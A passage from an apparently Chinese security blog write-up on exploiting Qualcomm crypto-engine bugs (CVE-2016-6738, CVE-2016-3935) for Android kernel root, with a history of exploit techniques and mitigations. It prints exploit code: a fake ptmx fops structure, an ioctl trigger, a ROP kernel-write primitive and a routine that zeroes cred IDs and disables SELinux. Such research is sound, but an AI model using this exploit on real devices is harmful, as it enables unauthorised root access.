class="line">include/linux/sched.h</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">task_struct</span> {</span></span><br><span class="line"> <span class="keyword">volatile</span> <span class="keyword">long</span> state; <span class="comment">/* -1 unrunnable, 0 runnable, >0 stopped */</span></span><br><span class="line"> <span class="keyword">void</span> *<span class="built_in">stack</span>;</span><br><span class="line">...</span><br><span class="line"><span class="comment">/* process credentials */</span></span><br><span class="line"> <span class="keyword">const</span> <span class="class"><span class="keyword">struct</span> <span class="title">cred</span> __<span class="title">rcu</span> *<span class="title">real_cred</span>;</span> <span class="comment">/* objective and real subjective task</span></span><br><span class="line"><span class="comment"> * credentials (COW) */</span></span><br><span class="line"> <span class="keyword">const</span> <span class="class"><span class="keyword">struct</span> <span class="title">cred</span> __<span class="title">rcu</span> *<span class="title">cred</span>;</span> <span class="comment">/* effective (overridable) subjective task</span></span><br><span class="line"><span class="comment"> * credentials (COW) */</span></span><br><span class="line"> <span class="keyword">char</span> comm[TASK_COMM_LEN]; <span class="comment">/* executable name excluding path</span></span><br><span class="line"><span class="comment"> - access with [gs]et_task_comm (which lock</span></span><br><span class="line"><span class="comment"> it with task_lock())</span></span><br><span class="line"><span class="comment"> - initialized normally by setup_new_exec */</span></span><br><span class="line">...</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>linux kernel 里,进程由 <strong>struct task_struct</strong> 表示,进程的权限由该结构体的两个成员 <strong>real_cred</strong> 和 <strong>cred</strong> 表示</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">include/linux/cred.h</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">cred</span> {</span></span><br><span class="line"> <span class="keyword">atomic_t</span> usage;</span><br><span class="line"><span class="meta">#<span class="meta-keyword">ifdef</span> CONFIG_DEBUG_CREDENTIALS</span></span><br><span class="line"> <span class="keyword">atomic_t</span> subscribers; <span class="comment">/* number of processes subscribed */</span></span><br><span class="line"> <span class="keyword">void</span> *put_addr;</span><br><span class="line"> <span class="keyword">unsigned</span> magic;</span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> CRED_MAGIC 0x43736564</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> CRED_MAGIC_DEAD 0x44656144</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">endif</span></span></span><br><span class="line"> <span class="keyword">kuid_t</span> uid; <span class="comment">/* real UID of the task */</span></span><br><span class="line"> <span class="keyword">kgid_t</span> gid; <span class="comment">/* real GID of the task */</span></span><br><span class="line"> <span class="keyword">kuid_t</span> suid; <span class="comment">/* saved UID of the task */</span></span><br><span class="line"> <span class="keyword">kgid_t</span> sgid; <span class="comment">/* saved GID of the task */</span></span><br><span class="line"> <span class="keyword">kuid_t</span> euid; <span class="comment">/* effective UID of the task */</span></span><br><span class="line"> <span class="keyword">kgid_t</span> egid; <span class="comment">/* effective GID of the task */</span></span><br><span class="line"> <span class="keyword">kuid_t</span> fsuid; <span class="comment">/* UID for VFS ops */</span></span><br><span class="line"> <span class="keyword">kgid_t</span> fsgid; <span class="comment">/* GID for VFS ops */</span></span><br><span class="line">...</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>所谓提权,就是修改进程的 <strong>real_cred/cred</strong> 这两个结构体的各种 <strong>id</strong> 值,随着缓解措施的不断演进,完整的提权过程还需要修改其他一些内核变量的值,但是最基础的提权还是修改本进程的 cred, 这个任务又可以分解为多个问题:</p><ul><li>怎么找到目标 cred ?</li><li>cred 所在内存页面是否可写?</li><li>如何利用漏洞往 cred 所在地址写值?</li></ul><h4 id="利用方法回顾"><a href="#利用方法回顾" class="headerlink" title="利用方法回顾 [^]"></a>利用方法回顾 <a href="#top">[^]</a></h4><p><span id="android-kernel-exp"></span> </p><p><img src="/2017/08/07/qualcomm-crypto-engine-vulnerabilities-exploits/exphistory.png" alt></p><p><a href="http://powerofcommunity.net/poc2016/x82.pdf" target="_blank" rel="noopener">[图片来自]</a></p><p>上图是最近若干年围绕 android kernel 漏洞利用和缓解的简单回顾,</p><ul><li><p>09 ~ 10 年的时候,由于没有对 mmap 的地址范围做任何限制,应用层可以映射0页面,null pointer deref 漏洞在当时也是可以做利用的,后面针对这种漏洞推出了 <strong>mmap_min_addr</strong> 限制,目前 null pointer deref 漏洞一般只能造成 dos. </p></li><li><p>11 ~ 13 年的时候,常用的提权套路是从 <strong>/proc/kallsyms</strong> 搜索符号 <strong>commit_creds</strong> 和 <strong>prepare_kernel_cred</strong> 的地址,然后在用户态通过这两个符号构造一个提权函数(如下),</p></li></ul><pre><code><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">shellcode:</span><br><span class="line"></span><br><span class="line"><span class="keyword">static</span> <span class="keyword">void</span></span><br><span class="line">obtain_root_privilege_by_commit_creds(<span class="keyword">void</span>)</span><br><span class="line">{</span><br><span class="line"> commit_creds(prepare_kernel_cred(<span class="number">0</span>));</span><br><span class="line">}</span><br></pre></td></tr></table></figure></code></pre><p>可以看到,这个阶段的用户态 shellcode 非常简单, 利用漏洞改写内核某个函数指针(最常见的就是 <strong>ptmx</strong> 驱动的 <strong>fsync</strong> 函数)将其实现替换为用户态的函数, 最后在用户态调用被改写的函数, 这样的话从内核直接执行用户态的提权函数完成提权</p><p>这种方法在开源root套件 <a href="https://github.com/android-rooting-tools/android_run_root_shell" target="_blank" rel="noopener">android_run_root_shell</a> 得到了充分提现 </p><p>后来,内核推出了<strong>kptr_restrict/dmesg_restrict</strong> 措施使得默认配置下无法从 <strong>/proc/kallsyms</strong> 等接口搜索内核符号的地址</p><p>但是这种缓解措施很容易绕过, <a href="https://github.com/android-rooting-tools/android_run_root_shell" target="_blank" rel="noopener">android_run_root_shell</a> 里提供了两种方法:</p><ol><li><p>通过一些内存 pattern 直接在内存空间里搜索符号地址,从而得到 <strong>commit_creds/prepare_kernel_cred</strong> 的值;<br><a href="https://github.com/android-rooting-tools/libkallsyms/blob/aa38ae78145724a2a330c1bab620cf3df7c3f6ad/kallsyms_in_memory.c" target="_blank" rel="noopener">libkallsyms:get_kallsyms_in_memory_addresses</a> </p></li><li><p>放弃使用 <strong>commit_creds/prepare_kernel_cred</strong> 这两个内核函数,从内核里直接定位到 <strong>task_struct 和 cred</strong> 结构并改写<br><a href="https://github.com/android-rooting-tools/android_run_root_shell/blob/master/main.c" target="_blank" rel="noopener">obtain_root_privilege_by_modify_task_cred</a> </p></li></ol><ul><li>2013 推出 text RO 和 PXN 等措施,通过漏洞改写内核代码段或者直接跳转到用户态执行用户态函数的提权方式失效了, <strong>android_run_root_shell</strong> 这个项目里的方法大部分已经失效, 在 PXN 时代,主要的提权思路是使用rop </li></ul><p>具体的 <strong>rop</strong> 技巧有几种,</p><ol><li>下面两篇文章讲了基本的 <strong>linux kernel ROP</strong> 技巧</li></ol><p><a href="https://www.trustwave.com/Resources/SpiderLabs-Blog/Linux-Kernel-ROP---Ropping-your-way-to---(Part-1)/" target="_blank" rel="noopener">Linux Kernel ROP - Ropping your way to # (Part 1)</a></p><p><a href="https://www.trustwave.com/Resources/SpiderLabs-Blog/Linux-Kernel-ROP---Ropping-your-way-to---(Part-2)/" target="_blank" rel="noopener">Linux Kernel ROP - Ropping your way to # (Part 2)</a></p><p><img src="https://npercoco.typepad.com/.a/6a0133f264aa62970b01b7c86b399a970b-800wi" alt></p><p>可以看到这两篇文章的方法是搜索一些 <strong>rop 指令</strong> ,然后用它们串联 <strong>commit_creds/prepare_kernel_cred</strong>, 是对上一阶段思路的自然延伸。</p><ol start="2"><li><p>使用 rop 改写 <strong>addr_limit</strong> 的值,破除本进程的系统调用 <strong>access_ok</strong> 校验,然后通过一些函数如 <a href="https://github.com/hagurekamome/RootkitApp/blob/master/jni/getroot.c" target="_blank" rel="noopener">ptrace_write_value_at_address</a> 直接读写内核来提权, 将 selinux_enforcing 变量写0关闭 selinux </p></li><li><p>大名鼎鼎的 <a href="https://www.blackhat.com/docs/eu-14/materials/eu-14-Kemerlis-Ret2dir-Deconstructing-Kernel-Isolation.pdf" target="_blank" rel="noopener">Ret2dir</a> bypass PXN</p></li><li><p>还有就是本文使用的思路,用漏洞重定向内核驱动的 <strong>xxx_operations</strong> 结构体指针到应用层,再用 rop 地址填充应用层的伪 <strong>xxx_operations</strong> 里的函数实现</p></li><li><p>还有一些 2017 新出来的绕过缓解措施的技巧,<a href="http://powerofcommunity.net/poc2016/x82.pdf" target="_blank" rel="noopener">参考</a></p></li></ol><ul><li>进入2017年,更多的漏洞缓解措施正在被开发和引进,谷歌的nick正在主导开发的项目 <a href="https://kernsec.org/wiki/index.php/Kernel_Self_Protection_Project/Work" target="_blank" rel="noopener">Kernel_Self_Protection_Project</a> 对内核漏洞提权方法进行了分类整理,如下</li></ul><ul><li><a href="https://kernsec.org/wiki/index.php/Exploit_Methods/Kernel_location" target="_blank" rel="noopener">Kernel location</a></li><li><a href="https://kernsec.org/wiki/index.php/Exploit_Methods/Text_overwrite" target="_blank" rel="noopener">Text overwrite</a></li><li><a href="https://kernsec.org/wiki/index.php/Exploit_Methods/Function_pointer_overwrite" target="_blank" rel="noopener">Function pointer overwrite</a></li><li><a href="https://kernsec.org/wiki/index.php/Exploit_Methods/Userspace_execution" target="_blank" rel="noopener">Userspace execution</a></li><li><a href="https://kernsec.org/wiki/index.php/Exploit_Methods/Userspace_data_usage" target="_blank" rel="noopener">Userspace data usage</a></li><li><a href="https://kernsec.org/wiki/index.php/Exploit_Methods/Reused_code_chunks" target="_blank" rel="noopener">Reused code chunks</a></li></ul><p>针对以上提权方法,<a href="https://kernsec.org/wiki/index.php/Kernel_Self_Protection_Project/Work" target="_blank" rel="noopener">Kernel_Self_Protection_Project</a> 开发了对应的一系列缓解措施,目前这些措施正在逐步推入<strong>linux kernel</strong> 主线,下面是其中一部分缓解方案,可以看到,我们回顾的所有利用方法都已经被考虑在内,不久的将来,这些方法可能都会失效</p><ul><li>Split thread_info off of kernel stack (Done: x86, arm64, s390. Needed on arm, powerpc and others?) * Move kernel stack to vmap area (Done: x86, s390. Needed on arm, arm64, powerpc and others?)</li><li>Implement kernel relocation and KASLR for ARM</li><li>Write a plugin to clear struct padding</li><li>Write a plugin to do format string warnings correctly (gcc’s -Wformat-security is bad about const strings)</li><li>Make CONFIG_STRICT_KERNEL_RWX and CONFIG_STRICT_MODULE_RWX mandatory (done for arm64 and x86, other archs still need it)</li><li>Convert remaining BPF JITs to eBPF JIT (with blinding) (In progress: arm)</li><li>Write lib/test_bpf.c tests for eBPF constant blinding</li><li>Further restriction of perf_event_open (e.g. perf_event_paranoid=3)</li><li>Extend HARDENED_USERCOPY to use slab whitelisting (in progress)</li><li>Extend HARDENED_USERCOPY to split user-facing malloc()s and in-kernel malloc()svmalloc stack guard pages (in progress)</li><li>protect ARM vector table as fixed-location kernel target</li><li>disable kuser helpers on arm</li><li>rename CONFIG_DEBUG_LIST better and default=y</li><li>add WARN path for page-spanning usercopy checks (instead of the separate CONFIG)</li><li>create UNEXPECTED(), like BUG() but without the lock-busting, etc</li><li>create defconfig “make” target for by-default hardened Kconfigs (using guidelines below)</li><li>provide mechanism to check for ro_after_init memory areas, and reject structures not marked ro_after_init in vmbus_register()</li><li>expand use of __ro_after_init, especially in arch/arm64</li><li>Add stack-frame walking to usercopy implementations (Done: x86. In progress: arm64. Needed on arm, others?)</li><li>restrict autoloading of kernel modules (like GRKERNSEC_MODHARDEN) (In progress: Timgad LSM)</li></ul><p>有兴趣的同学可以进入该项目看看代码,提前了解一下缓解措施,</p><p>比如 <code>KASLR for ARM</code>, 将大部分内核对象的地址做了随机化处理,这是以后 android kernel exploit 必须面对的; </p><p>另外比如 <code>__ro_after_init</code> ,内核启动完成初始化之后大部分 <strong>fops</strong> 全局变量都变成 readonly 的,这造成了本文这种利用方法失效, 所幸的是,目前 android kernel 还是可以用的。</p><h4 id="本文使用的利用方法"><a href="#本文使用的利用方法" class="headerlink" title="本文使用的利用方法 [^]"></a>本文使用的利用方法 <a href="#top">[^]</a></h4><p><span id="this-kernel-exp"></span> </p><p>对照 <a href="https://kernsec.org/wiki/index.php/Kernel_Self_Protection_Project/Work" target="_blank" rel="noopener">Kernel_Self_Protection_Project</a> 的利用分类,本文的利用思路属于 <a href="https://kernsec.org/wiki/index.php/Exploit_Methods/Userspace_data_usage" target="_blank" rel="noopener">Userspace data usage</a></p><blockquote><p>Sometimes an attacker won’t be able to control the instruction pointer directly, but they will be able to redirect the dereference a structure or other pointer. In these cases, it is easiest to aim at malicious structures that have been built in userspace to perform the exploitation.</p></blockquote><p>具体来说,我们在应用层构造一个伪 <strong>file_operations</strong> 结构体(其他如 <strong>tty_operations</strong> 也可以),然后通过漏洞改写内核某一个驱动的 <strong>fops</strong> 指针,将其改指向我们在应用层伪造的结构体,之后,我们搜索特定的 rop 并随时替换这个伪 <strong>file_operations</strong> 结构体里的函数实现,就可以做到在内核多次执行任意代码(取决于rop) ,这种方法的好处包括:</p><ol><li>内核有很多驱动,所以 fops 非常多,地址上也比较分散,对一些溢出类漏洞来说,选择比较多</li><li>内核的 fops 一般都存放在 writable 的 data 区,至少目前android 主流 kernel 依然如此</li><li>将内核的 fops 指向用户空间后,用户空间可以随意改写其内部函数的实现</li><li>只需要一次内核写</li></ol><p>下面结合漏洞说明怎么利用</p><h3 id="CVE-2016-6738-漏洞利用"><a href="#CVE-2016-6738-漏洞利用" class="headerlink" title="CVE-2016-6738 漏洞利用 [^]"></a>CVE-2016-6738 漏洞利用 <a href="#top">[^]</a></h3><p><span id="CVE-2016-6738-exp"></span> </p><p>CVE-2016-6738 是一个任意地址写任意值的漏洞,利用代码已经提交在 <a href="https://github.com/453483289/android_vuln_poc-exp/tree/master/EXP-CVE-2016-6738" target="_blank" rel="noopener">EXP-CVE-2016-6738</a></p><p>我们选择重定向 /dev/ptmx 设备的 file_operations, 先在用户态构造一个伪结构,如下</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"><span class="built_in">map</span> = mmap(<span class="number">0x1000000</span>, (<span class="keyword">size_t</span>)<span class="number">0x10000</span>, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, <span class="number">-1</span>, (<span class="keyword">off_t</span>)<span class="number">0</span>);</span><br><span class="line"><span class="keyword">if</span>(<span class="built_in">map</span> == MAP_FAILED) {</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"[-] Failed to mmap landing (%d-%s)\n"</span>, errno, strerror(errno));</span><br><span class="line"> ret = <span class="number">-1</span>;</span><br><span class="line"> <span class="keyword">goto</span> out;</span><br><span class="line">}</span><br><span class="line"><span class="comment">//printf("[+] landing mmap'ed @ %p\n", map);</span></span><br><span class="line"><span class="built_in">memset</span>(<span class="built_in">map</span>, <span class="number">0x0</span>, <span class="number">0x10000</span>);</span><br><span class="line">fake_ptmx_fops = <span class="built_in">map</span>;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"[+] fake_ptmx_fops = 0x%lx\n"</span>,fake_ptmx_fops);</span><br><span class="line">*(<span class="keyword">unsigned</span> <span class="keyword">long</span>*)(fake_ptmx_fops + <span class="number">1</span> * <span class="number">8</span>) = PTMX_LLSEEK;</span><br><span class="line">*(<span class="keyword">unsigned</span> <span class="keyword">long</span>*)(fake_ptmx_fops + <span class="number">2</span> * <span class="number">8</span>) = PTMX_READ;</span><br><span class="line">*(<span class="keyword">unsigned</span> <span class="keyword">long</span>*)(fake_ptmx_fops + <span class="number">3</span> * <span class="number">8</span>) = PTMX_WRITE;</span><br><span class="line">*(<span class="keyword">unsigned</span> <span class="keyword">long</span>*)(fake_ptmx_fops + <span class="number">8</span> * <span class="number">8</span>) = PTMX_POLL;</span><br><span class="line">*(<span class="keyword">unsigned</span> <span class="keyword">long</span>*)(fake_ptmx_fops + <span class="number">9</span> * <span class="number">8</span>) = PTMX_IOCTL;</span><br><span class="line">*(<span class="keyword">unsigned</span> <span class="keyword">long</span>*)(fake_ptmx_fops + <span class="number">10</span> * <span class="number">8</span>) = COMPAT_PTMX_IOCTL;</span><br><span class="line">*(<span class="keyword">unsigned</span> <span class="keyword">long</span>*)(fake_ptmx_fops + <span class="number">12</span> * <span class="number">8</span>) = PTMX_OPEN;</span><br><span class="line">*(<span class="keyword">unsigned</span> <span class="keyword">long</span>*)(fake_ptmx_fops + <span class="number">14</span> * <span class="number">8</span>) = PTMX_RELEASE;</span><br><span class="line">*(<span class="keyword">unsigned</span> <span class="keyword">long</span>*)(fake_ptmx_fops + <span class="number">17</span> * <span class="number">8</span>) = PTMX_FASYNC;</span><br></pre></td></tr></table></figure><p>根据前面的分析,伪结构的值需要先做一次加密,再使用</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">unsigned</span> <span class="keyword">long</span> edata = <span class="number">0</span>;</span><br><span class="line"> qcedev_encrypt(fd, fake_ptmx_fops, &edata);</span><br><span class="line"> trigger(fd, edata);</span><br></pre></td></tr></table></figure><p>下面是核心的函数</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">int</span> <span class="title">trigger</span><span class="params">(<span class="keyword">int</span> fd, <span class="keyword">unsigned</span> <span class="keyword">long</span> src)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> <span class="keyword">int</span> cmd;</span><br><span class="line"> <span class="keyword">int</span> ret;</span><br><span class="line"> <span class="keyword">int</span> <span class="built_in">size</span>;</span><br><span class="line"> <span class="keyword">unsigned</span> <span class="keyword">long</span> dst;</span><br><span class="line"> <span class="class"><span class="keyword">struct</span> <span class="title">qcedev_cipher_op_req</span> <span class="title">params</span>;</span></span><br><span class="line"></span><br><span class="line"> dst = PTMX_MISC + <span class="number">8</span> * <span class="number">9</span>; <span class="comment">// patch ptmx_cdev->ops</span></span><br><span class="line"> <span class="built_in">size</span> = <span class="keyword">sizeof</span>(<span class="keyword">unsigned</span> <span class="keyword">long</span>);</span><br><span class="line"> <span class="built_in">memset</span>(&params, <span class="number">0</span>, <span class="keyword">sizeof</span>(params));</span><br><span class="line"> cmd = QCEDEV_IOCTL_DEC_REQ;</span><br><span class="line"> params.entries = <span class="number">1</span>;</span><br><span class="line"> params.in_place_op = <span class="number">1</span>; <span class="comment">// bypass access_ok check of creq->vbuf.dst[i].vaddr</span></span><br><span class="line"> params.alg = QCEDEV_ALG_DES;</span><br><span class="line"> params.mode = QCEDEV_DES_MODE_ECB;</span><br><span class="line"> params.data_len = <span class="built_in">size</span>;</span><br><span class="line"> params.vbuf.src[<span class="number">0</span>].len = <span class="built_in">size</span>;</span><br><span class="line"> params.vbuf.src[<span class="number">0</span>].vaddr = &src;</span><br><span class="line"> params.vbuf.dst[<span class="number">0</span>].len = <span class="built_in">size</span>;</span><br><span class="line"> params.vbuf.dst[<span class="number">0</span>].vaddr = dst;</span><br><span class="line"> <span class="built_in">memcpy</span>(params.enckey,<span class="string">"test"</span>, <span class="number">16</span>);</span><br><span class="line"> params.encklen = <span class="number">16</span>;</span><br><span class="line"></span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"[+] overwrite ptmx_cdev ops\n"</span>);</span><br><span class="line"> ret = ioctl(fd, cmd, &params); <span class="comment">// trigger </span></span><br><span class="line"> <span class="keyword">if</span>(ret == <span class="number">-1</span>) {</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"[-] Ioctl qcedev fail(%s - %d)\n"</span>, strerror(errno), errno);</span><br><span class="line"> <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>参数 src 就是 <strong>fake_ptmx_fops</strong> 加密后的值,我们将其地址放入 <strong>qcedev_cipher_op_req.vbuf.src[0].vaddr</strong> 里,目标地址 <strong>qcedev_cipher_op_req.vbuf.dst[0].vaddr</strong> 存放 <strong>ptmx_cdev->ops</strong> 的地址,然后调用 ioctl 触发漏洞,任意地址写漏洞触发后,目标地址 <strong>ptmx_cdev->ops</strong> 的值会被覆盖为 <strong>fake_ptmx_fops</strong>.</p><p>此后,对 ptmx 设备的内核fops函数执行,都会被重定向到用户层伪造的函数,我们通过一些rop 片段来实现伪函数,就可以被内核直接调用。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/*</span></span><br><span class="line"><span class="comment"> * rop write:</span></span><br><span class="line"><span class="comment"> * ffffffc000671a58: b9000041 str w1, [x2]</span></span><br><span class="line"><span class="comment"> * ffffffc000671a5c: d65f03c0 ret</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> ROP_WRITE 0xffffffc000671a58</span></span><br></pre></td></tr></table></figure><p>比如,我们找到一段 rop 如上,其地址是 0xffffffc000671a58, 其指令是 str w1, [x2] ; ret ;</p><p>这段 rop 作为一个函数去执行的话,其效果相当于将第二个参数的值写入第三个参数指向的地址。</p><p>我们用这段 rop 构造一个用户态函数,如下</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">int</span> <span class="title">kernel_write_32</span><span class="params">(<span class="keyword">unsigned</span> <span class="keyword">long</span> addr, <span class="keyword">unsigned</span> <span class="keyword">int</span> val)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> <span class="keyword">unsigned</span> <span class="keyword">long</span> arg;</span><br><span class="line"></span><br><span class="line"> *(<span class="keyword">unsigned</span> <span class="keyword">long</span>*)(fake_ptmx_fops + <span class="number">9</span> * <span class="number">8</span>) = ROP_WRITE;</span><br><span class="line"></span><br><span class="line"> arg = addr;</span><br><span class="line"> ioctl_syscall(__NR_ioctl, ptmx_fd, val, arg);</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>9*8 是 ioctl 函数在 file_operations 结构体里的偏移,</p><p> <code>*(unsigned long*)(fake_ptmx_fops + 9 * 8) = ROP_WRITE;</code></p><p>的效果就是 ioctl 的函数实现替换成 <strong>ROP_WRITE</strong>, 这样我们调用 ptmx 的 ioctl 函数时,最后真实执行的是 <strong>ROP_WRITE</strong>, 这就是一个内核任意地址写任意值函数。</p><p>同样的原理,我们封装读任意内核地址的函数。</p><p>有了任意内核地址读写函数之后,我们通过以下方法完成最终提权:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">int</span> <span class="title">do_root</span><span class="params">(<span class="keyword">void</span>)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> <span class="keyword">int</span> ret; </span><br><span class="line"> <span class="keyword">unsigned</span> <span class="keyword">long</span> i, cred, addr;</span><br><span class="line"> <span class="keyword">unsigned</span> <span class="keyword">int</span> tmp0;</span><br><span class="line"></span><br><span class="line"> <span class="comment">/* search myself */</span></span><br><span class="line"> ret = get_task_by_comm(&my_task);</span><br><span class="line"> <span class="keyword">if</span>(ret != <span class="number">0</span>) {</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"[-] get myself fail!\n"</span>);</span><br><span class="line"> <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">if</span>(!my_task || (my_task < <span class="number">0xffffffc000000000</span>)) {</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"invalid task address!"</span>);</span><br><span class="line"> <span class="keyword">return</span> <span class="number">-2</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> ret = kernel_read(my_task + cred_offset, &cred);</span><br><span class="line"> <span class="keyword">if</span> (cred < KERNEL_BASE) <span class="keyword">return</span> <span class="number">-3</span>;</span><br><span class="line"></span><br><span class="line"> i = <span class="number">1</span>; </span><br><span class="line"> addr = cred + <span class="number">4</span> * <span class="number">4</span>;</span><br><span class="line"> ret = kernel_read_32(addr, &tmp0);</span><br><span class="line"> <span class="keyword">if</span>(tmp0 == <span class="number">0x43736564</span> || tmp0 == <span class="number">0x44656144</span>)</span><br><span class="line"> i += <span class="number">4</span>;</span><br><span class="line"> addr = cred + (i+<span class="number">0</span>) * <span class="number">4</span>;</span><br><span class="line"> ret = kernel_write_32(addr, <span class="number">0</span>);</span><br><span class="line"> addr = cred + (i+<span class="number">1</span>) * <span class="number">4</span>;</span><br><span class="line"> ret = kernel_write_32(addr, <span class="number">0</span>);</span><br><span class="line">... </span><br><span class="line"> ret = kernel_write_32(addr, <span class="number">0xffffffff</span>);</span><br><span class="line"> addr = cred + (i+<span class="number">16</span>) * <span class="number">4</span>;</span><br><span class="line"> ret = kernel_write_32(addr, <span class="number">0xffffffff</span>);</span><br><span class="line"> <span class="comment">/* success! */</span></span><br><span class="line"> </span><br><span class="line"> <span class="comment">// disable SELinux</span></span><br><span class="line"> kernel_write_32(SELINUX_ENFORCING, <span class="number">0</span>);</span><br><span class="line"> </span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>搜索到本进程的 cred 结构体,并使用我们封装的内核读写函数,将其成员的值改为0,这样本进程就变成了 root 进程。<br>搜索本进程 <strong>task_struct</strong> 的函数 <strong>get_task_by_comm</strong> 具体实现参考 github 的代码。</p><h3 id="CVE-2016-3935-漏洞利用"><a href="#CVE-2016-3935-漏洞利用" class="headerlink" title="CVE-2016-3935 漏洞利用 [^]"></a>CVE-2016-3935 漏洞利用 <a href="#top">[^]</a></h3><p><span id="CVE-2016-3935-exp"></span> </p><p>这个漏洞的提权方法跟 6738 是一样的,唯一不同的地方是,这是一个堆溢出漏洞,我们只能覆盖堆里边的 fops (cve-2016-6738 我们覆盖的是 .data 区里的 fops )。</p><p>在我测试的版本里,k_buf_src 是从 kmalloc-4096 分配出来的,因此,需要找到合适的结构来填充 kmalloc-4096 ,经过一些源码搜索,我找到了 <strong>tty_struct</strong> 这个结构</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">include/linux/tty.h</span><br><span 